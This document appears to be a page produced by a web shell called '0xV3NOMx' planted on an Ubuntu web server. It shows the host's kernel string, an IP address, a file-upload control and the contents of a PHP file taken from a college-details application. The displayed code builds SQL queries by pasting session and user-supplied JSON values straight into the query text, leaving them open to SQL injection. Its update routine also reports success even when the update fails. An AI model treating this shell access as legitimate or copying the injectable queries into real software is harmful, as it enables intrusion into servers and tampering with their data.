0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.119.124.204


Current Path : /proc/thread-self/root/var/www/html/mum/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/mum/src/UpdateCollDet.php

<?php

function getCollDet($aobj_context){
  $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

  $query="select fcollcode,fcollname,ftown,fcolladd1,fcolladd2,fcolladd3,fcolladd4,
  fprincipalname,fphone,faltmobile,fmobile,ffax,femail
  from college
  where fcollcode='{$_SESSION['collcode']}'";
  $results = $aobj_context->mobj_db->GetRow($query);
  
  if( count($results) != 0)
  echo $aobj_context->mobj_output->ToJSONEnvelope($results,0,"success");
  else 
   echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure");
}


function updateCollProfile($aobj_context){
  $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
  $data = $aobj_context->mobj_data['data'];
  $json = json_decode($data,true);
  
  
  $query = "update college set fcollcode='{$_SESSION['collcode']}',fcollname='{$json[0]['fcollname']}',
  ftown='{$json[0]['ftown']}',fcolladd1='{$json[0]['fcolladdr1']}',fcolladd2='{$json[0]['fcolladdr2']}',
  fcolladd3='{$json[0]['fcolladdr3']}',
  fcolladd4='{$json[0]['fcolladdr4']}',fprincipalname='{$json[0]['fprincipalname']}',
  fphone='{$json[0]['fphone']}',faltmobile='{$json[0]['faltmobile']}',fmobile='{$json[0]['fmobile']}',
  ffax='{$json[0]['ffax']}',femail='{$json[0]['femailid']}',fcoordinates='{$json[0]['fcoordinates']}'
  where fcollcode='{$_SESSION['collcode']}'";
  // var_dump($query);

  $results = $aobj_context->mobj_db->Execute($query);
  if($results){
    $arr['msg']="College Details Updated Successfully.";
		echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
  }
  else
  {
    $arr['msg']="Updation was not successfull, please try after sometime.";
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
  }
}

?>